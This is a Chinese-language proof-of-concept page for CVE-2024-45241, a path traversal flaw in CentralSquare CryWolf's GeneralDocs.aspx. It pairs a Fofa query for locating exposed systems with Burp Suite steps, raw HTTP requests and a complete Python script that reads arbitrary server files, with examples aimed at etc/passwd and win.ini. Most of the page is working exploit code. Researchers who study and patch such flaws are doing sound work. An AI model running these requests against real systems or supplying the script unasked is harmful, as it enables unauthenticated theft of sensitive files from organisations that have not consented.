CentralSquare CryWolf 路径遍历漏洞 (CVE-2024-45241) 检测与利用POC

2 阅读4分钟

CVE-2024-45241: CentralSquare CryWolf 路径遍历漏洞POC

项目描述

本项目提供了一个针对 CentralSquare CryWolf(误报管理系统)中发现的路径遍历漏洞的概念验证(Proof of Concept)。该漏洞被标记为 CVE-2024-45241,影响GeneralDocs.aspx组件。通过利用rpt参数,未经身份验证的攻击者可以访问Web根目录之外的文件,导致敏感信息泄露。

免责声明:此概念验证代码仅用于教育和授权安全测试目的。未经双方同意使用此工具攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不对任何滥用或由此程序造成的损害承担责任。

功能特性

  • 漏洞检测:快速检测目标是否存在CVE-2024-45241路径遍历漏洞
  • 文件读取:利用路径遍历漏洞读取Web服务器上的任意文件
  • 目标识别:提供Fofa搜索语法,帮助识别潜在易受攻击的系统
  • 流量分析辅助:适配Burp Suite等代理工具,便于请求拦截与响应分析

安装指南

本项目无需安装额外依赖,所有操作均通过浏览器和Burp Suite完成。

系统要求

  • 现代Web浏览器(Chrome/Firefox等)
  • Burp Suite(或其他HTTP代理工具)
  • 网络连接至目标系统

配置步骤

  1. 启动Burp Suite并配置浏览器代理(默认:127.0.0.1:8080
  2. 确保Burp的拦截功能已开启

使用说明

查找目标

使用Fofa搜索语法识别潜在目标:

"Powered by CryWolf"

漏洞利用步骤

1. 构造恶意请求

在浏览器地址栏中输入以下URL格式:

<TARGET_URL>/GeneralDocs.aspx?rpt=../../../../../<FILE>

示例:读取Windows系统中的win.ini文件

https://example.com/GeneralDocs.aspx?rpt=../../../../../../Windows/win.ini
2. Burp Suite拦截与转发
  1. 确保Burp拦截功能开启,浏览器发起请求
  2. 在Burp中查看原始请求:GET /GeneralDocs.aspx?rpt=../../../../../<FILE>
  3. 点击 Forward 转发请求
3. 捕获文件内容响应

继续点击Forward,直到看到对gdoc1.ashx的GET请求:

  • 右键单击该请求
  • 选择 Do interceptResponse to this request
  • 再次点击 Forward

此时Burp将显示服务器的响应内容,其中包含目标文件的数据。

核心代码

漏洞检测请求示例

import requests
import sys

def check_vulnerability(target_url, file_path="Windows/win.ini"):
    """
    检测目标是否存在CVE-2024-45241路径遍历漏洞
    """
    # 构造路径遍历payload
    traversal_payload = "../../../../../../" + file_path
    test_url = f"{target_url}/GeneralDocs.aspx?rpt={traversal_payload}"
    
    try:
        print(f"[*] 检测目标: {test_url}")
        response = requests.get(test_url, timeout=10, verify=False)
        
        # 检查响应中是否包含敏感文件特征
        if response.status_code == 200 and len(response.text) > 0:
            # 检查典型Windows配置文件特征
            if "[extensions]" in response.text or "[fonts]" in response.text:
                print("[+] 目标存在CVE-2024-45241漏洞!")
                print(f"[+] 文件内容预览:\n{response.text[:500]}")
                return True
            else:
                print("[?] 目标响应了请求,但未能确认文件内容。")
                print(f"[?] 响应预览:\n{response.text[:200]}")
                return False
        else:
            print(f"[-] 请求失败,状态码: {response.status_code}")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] 连接目标时出错: {e}")
        return False

def read_arbitrary_file(target_url, file_path):
    """
    利用漏洞读取任意文件
    """
    traversal_payload = "../../../../../../" + file_path.lstrip('/')
    test_url = f"{target_url}/GeneralDocs.aspx?rpt={traversal_payload}"
    
    try:
        response = requests.get(test_url, timeout=10, verify=False)
        if response.status_code == 200:
            print(f"[+] 成功读取文件: {file_path}")
            print(f"[+] 文件内容:\n{response.text}")
            return response.text
        else:
            print(f"[-] 读取失败,状态码: {response.status_code}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求失败: {e}")
        return None

if __name__ == "__main__":
    # 禁用SSL警告
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    if len(sys.argv) < 2:
        print("用法: python poc.py <目标URL> [文件路径]")
        print("示例: python poc.py https://example.com")
        print("示例: python poc.py https://example.com ../../../../Windows/win.ini")
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    
    if len(sys.argv) >= 3:
        # 读取指定文件
        file_to_read = sys.argv[2]
        read_arbitrary_file(target, file_to_read)
    else:
        # 默认检测漏洞
        check_vulnerability(target)

漏洞利用核心逻辑说明

# 核心payload构造逻辑
def build_traversal_payload(target_file):
    """
    构造路径遍历payload
    使用足够的 ../ 序列来跳出Web根目录
    """
    # 使用7层遍历确保穿透常见目录深度
    traversal_depth = "../../../../../../"
    return traversal_depth + target_file.lstrip('/')

# 示例: 读取Linux的passwd文件
payload_linux = build_traversal_payload("etc/passwd")
# 结果: "../../../../../../etc/passwd"

# 示例: 读取Windows配置文件
payload_windows = build_traversal_payload("Windows/win.ini")
# 结果: "../../../../../../Windows/win.ini"

Burp Suite手动测试流程

  1. 发送请求至Repeater

    GET /GeneralDocs.aspx?rpt=../../../../../Windows/win.ini HTTP/1.1
    Host: <TARGET_HOST>
    
  2. 观察重定向到gdoc1.ashx

    HTTP/1.1 302 Found
    Location: /gdoc1.ashx?rpt=../../../../../Windows/win.ini
    
  3. 直接请求gdoc1.ashx获取内容

    GET /gdoc1.ashx?rpt=../../../../../Windows/win.ini HTTP/1.1
    Host: <TARGET_HOST>
    
  4. 分析响应体中的文件内容 6HFtX5dABrKlqXeO5PUv/41hLK5eNtR+nJRd+Ycg6lg=